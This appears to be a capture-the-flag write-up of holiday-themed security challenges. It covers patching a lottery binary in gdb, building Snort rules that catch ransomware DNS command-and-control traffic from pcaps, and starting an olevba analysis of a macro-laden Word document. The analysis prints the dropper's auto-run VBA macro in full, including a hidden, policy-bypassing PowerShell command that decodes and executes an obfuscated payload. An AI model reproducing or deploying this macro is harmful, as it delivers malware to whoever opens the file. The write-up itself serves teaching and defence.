Objective

1545853258678

This objective has six different tasks to complete. After the initial terminal, the remainding five objectives take place in Santa’s secret room:

1546339675710 1546441080765

Terminal - Sleigh Bell Lottery

Challenge

I’ll find Shinny Upatree up the main stairs just to the right out in front of the speakers tracks:

1546339991126

Hi, I’m Shinny Upatree.

Hey! Mind giving ole’ Shinny Upatree some help? There’s a contest I HAVE to win.

As long as no one else wins first, I can just keep trying to win the Sleigh Bell Lotto, but this could take forever!

I’ll bet the GNU Debugger can help us. With the PEDA modules installed, it can be prettier. I mean easier.

                              WKOdl:;oW                                         
                          WOo:'.......cW         X0KXW                          
                kdxOX     x...;.....;c.d      Xd;....':d0W                      
               W,....'cd0WN,.,WNd'...d:'N   Xl........',.:W                     
                l........':odoK  No..,0.k Wx';.....'lOWX.'N                     
                O............,oK   O..O;dWl,d'...;xN   x.o         NXKKKKXN     
                W,.....,:ccc:,..;kW k.dcdd,k'..,kW    0'cW    Xko:'.....:odOKW  
                 d........',;clll:,xWlolx'x;..oN    Wx'lW  Ko;..........,cxK    
                 N,..,codxkkkxdl:::;:xKlx,k.'O     O;,O Ko,....;cdk0KXXXXK0kOW  
                  K,.OW           Xkl':k0:o.O   Wk;:kNk:..'cd0N                 
 W0kdlc:::cloxk0XW Wkc;lx0KNWW       NxlKOxd WOl:dK0l''cdOKK0OOOO0KXNW          
  W  NOo'.........,:oxOkkxlc;,',,,,,,:dK;.dKllx0Oo,;d0XKO0KKXKKKK0OO0KXKKN      
  NOxodkO00KKK0OOkdoc:,'.,:ldxxxxxdddolx;;xdlcc::cx;0K0KKXXXXXX00KK00OOO0K      
             WNXK00000KKKK0kxoodl::::ox,.xlK0kdlccdKOOKXXXK000KKKOOOO00000W     
           X0O0000KXX00000KNK;o;...:0 d,,;lNW      0O0XXK0O0KK0OO0KKK000000     
       NXNK000O0KKKKKXKKXK000kl:cdK WXK0000000KKKNW00KK0O0K0OO0KKK00XXXXK0OW    
      WOOOOOO000000OO0KKKKXXOON  WX0OOO0XXXXXXXKOOOKK0O0K0OOOKK0O0XXXXXXK0OW    
       N000000OOOOO0000OO0XXXX0WXOOKXXXXXXXXXXXKKXX0O0XKOO0K0OOKXXXXXXKX0O0     
       KOKXKOO00000OOOO0KK0OOOK0OOX00KX0KKKKKKK00XXXXOOX0KKO0XXXXXXXXXOO0KW     
       0OKXXKKKKKK000K0OOO0KKKKOO0KKKKK0000000KKKKKK00OONO0XKO0NNXKKXXXXN       
       XOO0KXKO0KKKKKOO0K0O0KXK0KXKKKKKKKK000KKKKKKKKK0KKKK0OOONWXK00OKN        
        0OOW WOOKXXXXKKKK0KNOOOOOKKXXKKKKKKKKKKKKXXKK0OOOOKX00OOO0KXNW          
         KOO0NKOKXXXXXXXX0O0KXKKKKKK000000000000000KKKKKKNW                     
          WKOOXNKKKKKKKKK0OKW KO0XXKKKKKKKXXXXXXXXXXXKOON                       
             NXKNNKOOO00XN    W00KK000K000KXXXXXXXXXKK0X                        
                   WW          WKOOO0   KOKKKXXXXXX0OON                         
                                 NKOO0KKNNXKOOOXXOO0XW                          
                                   WNK0OOO0KXXNNXXN                             
                                        WWWWWW                                  
                                                                                
I'll hear the bells on Christmas Day
Their sweet, familiar sound will play
  But just one elf,
  Pulls off the shelf,
The bells to hang on Santa's sleigh!
Please call me Shinny Upatree
I write you now, 'cause I would be
  The one who gets -
  Whom Santa lets
The bells to hang on Santa's sleigh!
But all us elves do want the job,
Conveying bells through wint'ry mob
  To be the one
  Toy making's done
The bells to hang on Santa's sleigh!
To make it fair, the Man devised
A fair and simple compromise.
  A random chance,
  The winner dance!
The bells to hang on Santa's sleigh!
Now here I need your hacker skill.
To be the one would be a thrill!
  Please do your best,
  And rig this test
The bells to hang on Santa's sleigh!
Complete this challenge by winning the sleighbell lottery for Shinny Upatree.
elf@e1a94eac94be:~$ 

Solution

Assembly Analysis

I’ll load the program up in gdb and check the program out. I’ve added three comments to the disassembly:

elf@48fba90d4080:~$ gdb -q sleighbell-lotto            
Reading symbols from sleighbell-lotto...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel 
(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000000014ca <+0>:     push   rbp
   0x00000000000014cb <+1>:     mov    rbp,rsp
   0x00000000000014ce <+4>:     sub    rsp,0x10
   0x00000000000014d2 <+8>:     lea    rdi,[rip+0x56d6]
   0x00000000000014d9 <+15>:    call   0x970 <getenv@plt>
   0x00000000000014de <+20>:    test   rax,rax
   0x00000000000014e1 <+23>:    jne    0x14f9 <main+47>
   0x00000000000014e3 <+25>:    lea    rdi,[rip+0x56d6]
   0x00000000000014ea <+32>:    call   0x910 <puts@plt>
   0x00000000000014ef <+37>:    mov    edi,0xffffffff
   0x00000000000014f4 <+42>:    call   0x920 <exit@plt>
   0x00000000000014f9 <+47>:    mov    edi,0x0
   0x00000000000014fe <+52>:    call   0x9e0 <time@plt>
   0x0000000000001503 <+57>:    mov    edi,eax
   0x0000000000001505 <+59>:    call   0x9a0 <srand@plt>
   0x000000000000150a <+64>:    lea    rdi,[rip+0x583f]
   0x0000000000001511 <+71>:    call   0x910 <puts@plt>
   0x0000000000001516 <+76>:    mov    edi,0x1
   0x000000000000151b <+81>:    call   0x960 <sleep@plt>
   0x0000000000001520 <+86>:    call   0x9c0 <rand@plt>
   0x0000000000001525 <+91>:    mov    ecx,eax
   0x0000000000001527 <+93>:    mov    edx,0x68db8bad
   0x000000000000152c <+98>:    mov    eax,ecx
   0x000000000000152e <+100>:   imul   edx
   0x0000000000001530 <+102>:   sar    edx,0xc
   0x0000000000001533 <+105>:   mov    eax,ecx
   0x0000000000001535 <+107>:   sar    eax,0x1f
   0x0000000000001538 <+110>:   sub    edx,eax
   0x000000000000153a <+112>:   mov    eax,edx                 # store selected number
   0x000000000000153c <+114>:   mov    DWORD PTR [rbp-0x4],eax
   0x000000000000153f <+117>:   mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000001542 <+120>:   imul   eax,eax,0x2710
   0x0000000000001548 <+126>:   sub    ecx,eax
   0x000000000000154a <+128>:   mov    eax,ecx
   0x000000000000154c <+130>:   mov    DWORD PTR [rbp-0x4],eax
   0x000000000000154f <+133>:   lea    rdi,[rip+0x5856]
   0x0000000000001556 <+140>:   mov    eax,0x0
   0x000000000000155b <+145>:   call   0x8f0 <printf@plt>
   0x0000000000001560 <+150>:   mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000001563 <+153>:   mov    esi,eax
   0x0000000000001565 <+155>:   lea    rdi,[rip+0x5858]
   0x000000000000156c <+162>:   mov    eax,0x0
   0x0000000000001571 <+167>:   call   0x8f0 <printf@plt>
   0x0000000000001576 <+172>:   lea    rdi,[rip+0x584a]
   0x000000000000157d <+179>:   call   0x910 <puts@plt>
   0x0000000000001582 <+184>:   cmp    DWORD PTR [rbp-0x4],0x4c9 # compare number to 1225
   0x0000000000001589 <+191>:   jne    0x1597 <main+205>
   0x000000000000158b <+193>:   mov    eax,0x0
   0x0000000000001590 <+198>:   call   0xfd7 <winnerwinner>    # call winner function
   0x0000000000001595 <+203>:   jmp    0x15a1 <main+215>
   0x0000000000001597 <+205>:   mov    eax,0x0
   0x000000000000159c <+210>:   call   0x14b7 <sorry>
   0x00000000000015a1 <+215>:   mov    edi,0x0
   0x00000000000015a6 <+220>:   call   0x920 <exit@plt>
End of assembler dump.

More on the three commented lines:

  1. 0x000000000000153a <+112>: mov eax,edx - This is where the pseudo-randomly generated number, my ticket, is stored in EAX. This will be compared to 1225.
  2. ` 0x0000000000001582 <+184>: cmp DWORD PTR [rbp-0x4],0x4c9` - Compare the ticket number to 0x4c9, which is 1225.
  3. 0x0000000000001590 <+198>: call 0xfd7 <winnerwinner> - Function that’s called if ticket matches.

I see two ways to win from here using gdb.

Fix Number

My initial gut solution was to put a break point at the instruction after 0x153a, 0x153c. Then, set rax to 1225, and then let things run:

elf@48fba90d4080:~$ gdb -q sleighbell-lotto 
Reading symbols from sleighbell-lotto...(no debugging symbols found)...done.
(gdb) b *main+130
Breakpoint 1 at 0x154c
(gdb) r
Starting program: /home/elf/sleighbell-lotto 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
Breakpoint 1, 0x000055555555554c in main ()
(gdb) set $rax=1225
(gdb) c
Continuing.
You drew ticket number 1225!

                                                                                
                                                     .....          ......      
                                     ..,;:::::cccodkkkkkkkkkxdc;.   .......     
                             .';:codkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx.........    
                         ':okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx..........   
                     .;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkdc..........   
                  .:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;.     ........   
                'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:.          ......    
              ;xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd'                       
            .xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'                         
           .kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'                           
           xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx;                             
          :olodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk;                               
       ..........;;;;coxkkkkkkkkkkkkkkkkkkkkkkc                                 
     ...................,',,:lxkkkkkkkkkkkkkd.                                  
     ..........................';;:coxkkkkk:                                    
        ...............................ckd.                                     
          ...............................                                       
                ...........................                                     
                   .......................                                      
                              ....... ...                                       
With gdb you fixed the race.
The other elves we did out-pace.
  And now they'll see.
  They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.
[Inferior 1 (process 54) exited normally]

That works, and I complete the challenge, marking another achievement:

1546984216756

Jump to Win Function

Looking at the hints from the elves, there’s an alternative method, that might be easier (or at least just as easy).

I’ll set a breakpoint at main, run to that break, and then just jump to the winnerwinner function.

elf@48fba90d4080:~$ gdb -q sleighbell-lotto 
Reading symbols from sleighbell-lotto...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x14ce
(gdb) r
Starting program: /home/elf/sleighbell-lotto 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x00005555555554ce in main ()
(gdb) jump winnerwinner 
Continuing at 0x555555554fdb.
c                                                                                
                                                     .....          ......      
                                     ..,;:::::cccodkkkkkkkkkxdc;.   .......     
                             .';:codkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx.........    
                         ':okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx..........   
                     .;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkdc..........   
                  .:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;.     ........   
                'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:.          ......    
              ;xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd'                       
            .xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'                         
           .kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'                           
           xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx;                             
          :olodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk;                               
       ..........;;;;coxkkkkkkkkkkkkkkkkkkkkkkc                                 
     ...................,',,:lxkkkkkkkkkkkkkd.                                  
     ..........................';;:coxkkkkk:                                    
        ...............................ckd.
          ...............................                                       
                ...........................                                     
                   .......................                                      
                              ....... ...                                       
With gdb you fixed the race.
The other elves we did out-pace.
  And now they'll see.
  They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.
[Inferior 1 (process 60) exited normally]

Hints

On solving, Shinny gives me a bunch of information about Wannacookie:

Sweet candy goodness - I win! Thank you so much!

Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?

Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted.

Many elves were affected, so Alabaster went to go see if he could help out.

I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer.

An elf I follow online said he analyzed Wannacookie and that it communicates over DNS.

He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.

Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie!

Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt.

Perhaps there is a flaw in the wannacookie author’s DNS server that we can manipulate to retrieve what we need.

If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.

It also unlocks a hint (interestingly from Alabaster, not Shinny):

1546440900040

Catch the Malware

1545853357439

Overview

Alabaster gives me the background:

Help, all of our computers have been encrypted by ransomware!

I came here to help but got locked in ‘cause I dropped my “Alabaster Snowball” badge in a rush.

I started analyzing the ransomware on my host operating system, ran it by accident, and now my files are encrypted!

Unfortunately, the password database I keep on my computer was encrypted, so now I don’t have access to any of our systems.

If only there were some way I could create some kind of traffic filter that could alert anytime ransomware was found!

On logging into the terminal, I get:

  _  __     _             _       _____          _   _      
 | |/ /    (_)           | |     / ____|        | | | |     
 | ' / _ __ _ _ __   __ _| | ___| |     __ _ ___| |_| | ___ 
 |  < | '__| | '_ \ / _` | |/ _ \ |    / _` / __| __| |/ _ \
 | . \| |  | | | | | (_| | |  __/ |___| (_| \__ \ |_| |  __/
 |_|\_\_|  |_|_|_|_|\__, |_|\___|\_____\__,_|___/\__|_|\___|
             / ____| __/ |          | |                     
# $Id: local.rules,v 1.11 2004/07/23 20:15:44 bmc Exp $
            | (___  |___/  ___  _ __| |_                    
             \___ \| '_ \ / _ \| '__| __|                   
             ____) | | | | (_) | |  | |_                    
            |_____/|_|_|_|\___/|_|_  \__|                   
               |_   _|  __ \ / ____|                        
                 | | | |  | | (___                          
         _____   | | | |  | |\___ \        __               
        / ____| _| |_| |__| |____) |      /_ |              
       | (___  |_____|_____/|_____/ _ __   | |              
        \___ \ / _ \ '_ \/ __|/ _ \| '__|  | |              
        ____) |  __/ | | \__ \ (_) | |     | |              
       |_____/ \___|_| |_|___/\___/|_|     |_|              
============================================================
INTRO:
  Kringle Castle is currently under attacked by new piece of
  ransomware that is encrypting all the elves files. Your 
  job is to configure snort to alert on ONLY the bad 
  ransomware traffic.
GOAL:
  Create a snort rule that will alert ONLY on bad ransomware
  traffic by adding it to snorts /etc/snort/rules/local.rules
  file. DNS traffic is constantly updated to snort.log.pcap
COMPLETION:
  Successfully create a snort rule that matches ONLY
  bad DNS traffic and NOT legitimate user traffic and the 
  system will notify you of your success.
  
  Check out ~/more_info.txt for additional information.
elf@ca68e11c218e:~$

more_info.txt has more info:

elf@ca68e11c218e:~$ cat more_info.txt 
MORE INFO:
  A full capture of DNS traffic for the last 30 seconds is 
  constantly updated to:
  /home/elf/snort.log.pcap
  You can also test your snort rule by running:
  snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
  This will create an alert file at ~/snort_logs/alert
  This sensor also hosts an nginx web server to access the 
  last 5 minutes worth of pcaps for offline analysis. These 
  can be viewed by logging into:
  http://snortsensor1.kringlecastle.com/
  Using the credentials:
  ----------------------
  Username | elf
  Password | onashelf
  tshark and tcpdump have also been provided on this sensor.
HINT: 
  Malware authors often user dynamic domain names and 
  IP addresses that change frequently within minutes or even 
  seconds to make detecting and block malware more difficult.
  As such, its a good idea to analyze traffic to find patterns
  and match upon these patterns instead of just IP/domains.

pcap Analysis

I downloaded two example pcaps from https://snortsensor1.kringlecastle.com/ and used tshark to get an overview of what was going on in each by checking out what protocols were in use with the command tshark -r [pcap] -qz io,phs:

  • -r [pcap] - read from pcap file
  • -q - don’t display information about each packet
  • -z io,phs - get tshark to collect stats about the pcap, where io,phs says to collect protocol hierarchy stats
root@kali# tshark -qz io,phs -r snort.log.1545825052.938963.pcap

===================================================================
Protocol Hierarchy Statistics
Filter: 

ip                                       frames:390 bytes:82053
  udp                                    frames:390 bytes:82053
    dns                                  frames:390 bytes:82053
===================================================================

root@kali# tshark -qz io,phs -r snort.log.1545826087.2636702.pcap 

===================================================================
Protocol Hierarchy Statistics
Filter: 

ip                                       frames:390 bytes:82445
  udp                                    frames:390 bytes:82445
    dns                                  frames:390 bytes:82445
===================================================================

That output indicates that both pcaps have only dns over udp traffic, which is consistent with the description of Wannacookie from Shinny.

Next, I’ll want to see the domains being queried, using tshark -r [pcap] -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0", where the new options are:

  • -T fields - set the format of the output to be the value of fields defined with the -e option

  • -e [field] - include this field in the output

  • -Y [filter] - only include packets that meet the given filter, in this case, not dns responses

    Note: Most documentation I found suggests -R for this, but that option is deprecated in the latest tshark version in favor of -Y for this scenario

root@kali# tshark -r snort.log.1545825052.938963.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" | head
10.126.0.165	77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.91	phryma.oversecured.aliexpress.com
10.126.0.95	77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.95	0.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.98	epoxide.wikipedia.org
10.126.0.165	0.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.165	1.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.148	tsaritsyn.frays.brandie.live.com
10.126.0.95	1.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.165	2.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com

I used head to just look at the first ten lines output, but already I see some interesting domain queries that look like they could be being used as C2 coming from .165 and .95.

If I run that same tshark query through a grep to select only lines that include 30 or more hex characters in a row, I get what looks like potentially only the malicious traffic, and I’m down to 130 of the 195 queries in the pcap:

root@kali# tshark -r snort.log.1545825052.938963.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" 2>/dev/nul | grep -E '[A-Fa-f0-9]{30,}' | head
10.126.0.165	77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.95 	77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.95 	0.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.165	0.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.165	1.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.95 	1.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.165	2.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.95 	2.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org
10.126.0.165	3.77616E6E61636F6F6B69652E6D696E2E707331.rhbrasegnu.com
10.126.0.95 	3.77616E6E61636F6F6B69652E6D696E2E707331.rngbuhares.org

root@kali# tshark -r snort.log.1545825052.938963.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" 2>/dev/nul | grep -E '[A-Fa-f0-9]{30,}' | wc -l
130

I’m also curious to look at the second level domain (SLD) (ie rhgbuhares) and top level domain (TLD) (ie org) and how that correlates to the source (infected) ip.

I’ll use a longer bash loop to do this. I won’t go into each argument, but the loop:

  • loops over the lines with ip and domain queried (while read line; do)
  • uses cut to get only the ip and saves that to a variable (IP=$(echo ${line} | cut -d' ' -f1);)
  • uses cut to get the domain string; to get just the SLD domain when I don’t know the number of subdomains, I’ll reverse the string, cut on . and grab the first two fields, then reverse that back (SLD=$(echo ${line} | cut -d' ' -f2 | rev | cut -d'.' -f1-2 | rev);).
  • print the IP and TLD and finish the loop (echo "$IP $SLD"; done).

I’ll pipe that output into sort | uniq -c | sort -nr to get a count of how many times each IP/TLD pair appear.

root@kali# tshark -r snort.log.1545825052.938963.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" 2>/dev/nul | grep -E '[A-Fa-f0-9]{30,}' | while read line; do IP=$(echo ${line} | cut -d' ' -f1); ROOT=$(echo ${line} | cut -d' ' -f2 | rev | cut -d'.' -f1-2 | rev); echo "$IP $ROOT"; done | sort | uniq -c | sort -nr
     65 10.126.0.95 rngbuhares.org
     65 10.126.0.165 rhbrasegnu.com

If I check the other pcap I’m working with, I get a similar result, with different infected ips contacting different SLDs:

root@kali# tshark -r snort.log.1545826087.2636702.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" 2>/dev/nul | grep -E '[A-Fa-f0-9]{30,}' | while read line; do IP=$(echo ${line} | cut -d' ' -f1); ROOT=$(echo ${line} | cut -d' ' -f2 | rev | cut -d'.' -f1-2 | rev); echo "$IP $ROOT"; done | sort | uniq -c | sort -nr
     65 10.126.0.66 sbugearnrh.net
     65 10.126.0.24 hsbgenurar.com

Snort Rule

I was able to come up with two snort rules that both registered successfully.

30+ Hex Characters

While I could (and will) go into more detail about the specific structure of the C2, I see to have stumbled on a potential signature for the virus traffic - 30 or more hex characters. In real life, this would be too weak a signature, and would get false positives. But I’m going to see what happens here.

I’ll create the following snort rule:

alert udp any any <> any 53 (msg:"DNS C2 from Ransomware";pcre:"/[A-F0-9]{30,}/";sid:1000001;)

The rule header is made up of the first 7 fields, space separated:

  • alert - the rule action, what happens when this rule matches; in addition to alerting, you could log, pass the packet, drop the packet, reject the packet, etc.
  • udp - the protocol to look at
  • any any - source ip and port
  • <> - direction operator; -> matches traffic from source to destination, where <> matches in both directions
  • any 53 - destination ip and port, and in this case, I’m looking for port 53 (dns) traffic

The rule options are inside (), and made up of key: value;:

  • msg - what should print to the log when this matches
  • pcre - defines a regular expression that the be run against the content of each packet, and must match for this rule to alert
  • sid - the rule id number, used to uniquely (at least within one deployment) identify rules

I’ll add my rule to /etc/snort/rules/local.rules as instructed, and then when the periodic update runs, it returns successful:

elf@e6c360e5b14a:~$ cat /etc/snort/rules/local.rules 
# $Id: local.rules,v 1.11 2004/07/23 20:15:44 bmc Exp $
# ----------------
# LOCAL RULES
# ----------------
# This file intentionally does not come with signatures.  Put your local
# additions here.
alert udp any any <> any 53 (msg:"DNS C2 from Ransomware";pcre:"/[A-F0-9]{30,}/";sid:1000001;)

[+] Congratulation! Snort is alerting on all ransomware and only the ransomware! 
[+]  
1546442419289

Wannacookie.min.ps1

Looking more closely at the malicious traffic, it’s all going to domains with the subdomain 77616E6E61636F6F6B69652E6D696E2E707331. The characters in the string are all hex, and it decodes as ascii to “wannacookie.min.ps1”:

iroot@kali# echo 77616E6E61636F6F6B69652E6D696E2E707331 | xxd -r -p
wannacookie.min.ps1

To check the hypothesis that this string is in all the malicious domains, I’ll use tshark into grep like above to get the list of domains, and then I’ll grep again, this time with -v 77616E6E61636F6F6B69652E6D696E2E707331 to remove lines containing that string. The fact that I get no returns indicates the string is in every domain:

root@kali# tshark -r snort.log.1545825052.938963.pcap -T fields -e ip.src -e dns.qry.name -Y "dns.flags.response eq 0" | grep -E "[0-9A-F]{30,}" | grep -v 77616E6E61636F6F6B69652E6D696E2E707331
root@kali# 

From this I can tighten my snort signature, using the content keyword instead of pcre:

elf@100303aad2e2:~$ cat /etc/snort/rules/local.rules
# $Id: local.rules,v 1.11 2004/07/23 20:15:44 bmc Exp $
# ----------------
# LOCAL RULES
# ----------------
# This file intentionally does not come with signatures.  Put your local
# additions here.
alert udp any any <> any 53 (msg:"DNS C2 from Ransomware";content:"77616E6E61636F6F6B69652E6D69
6E2E707331";sid:1000001;)
elf@100303aad2e2:~$ 
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware! 
[+]

Identify the Domain

1545853494043

Overview

Alabaster provides the next task:

Thank you so much! Snort IDS is alerting on each new ransomware infection in our network.

Hey, you’re pretty good at this security stuff. Could you help me further with what I suspect is a malicious Word document?

All the elves were emailed a cookie recipe right before all the infections. Take this document with a password of elves and find the domain it communicates with.

He also unlocked a new hint:

1546443156415

</a>

The file is a .docm file. .docm files are like .docx files, in that they are documents saved in the newer Microsoft Open XML format (as opposed to the older Microsoft Word Binary File Format). However, a .docx file cannot run macros, whereas a .docm file is enabled to run macros. Office macros are a very common attack vector for initial access using spearphishing with attachments.

Tools

To look at this document, I’ll start with olevba, available as a part of oletools. This is the tool that Alabaster recommended, and one I’ve blogged about before. To install, simply pip install oletools on a Linux operating system.

Extract / Analyze VBA

I’ll use olevba to extract the vba macros from the document. olevba outputs all of the macros that it finds, followed by a table of potentially risky code:

root@kali# olevba CHOCOLATE_CHIP_COOKIE_RECIPE.docm_
olevba 0.53.1 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm_
===============================================================================
FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm_
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d
2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSa
kEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "                                                                      
Shell cmd
End Sub

-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d
2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSa
kEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "                                                                      
Shell cmd
End Sub

+------------+-----------------+-----------------------------------------+
| Type       | Keyword         | Description                             |
+------------+-----------------+-----------------------------------------+
| AutoExec   | AutoOpen        | Runs when the Word document is opened   |
| AutoExec   | Document_Open   | Runs when the Word or Publisher         |
|            |                 | document is opened                      |
| Suspicious | Shell           | May run an executable file or a system  |
|            |                 | command                                 |
| Suspicious | powershell      | May run PowerShell commands             |
| Suspicious | ExecutionPolicy | May run PowerShell commands             |
| Suspicious | New-Object      | May create an OLE object using          |
|            |                 | PowerShell                              |
| IOC        | powershell.exe  | Executable file name                    |
+------------+-----------------+-----------------------------------------+

There’s two macros set to run on when the document is opened, a document_open and a AutoOpen. Each seem to have the same code:

Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d
2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSa
kEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "                                                                      
Shell cmd
End Sub

This macro creates a string that is a PowerShell command, and then invokes it using Shell. The PowerShell runs PowerShell with the following options:

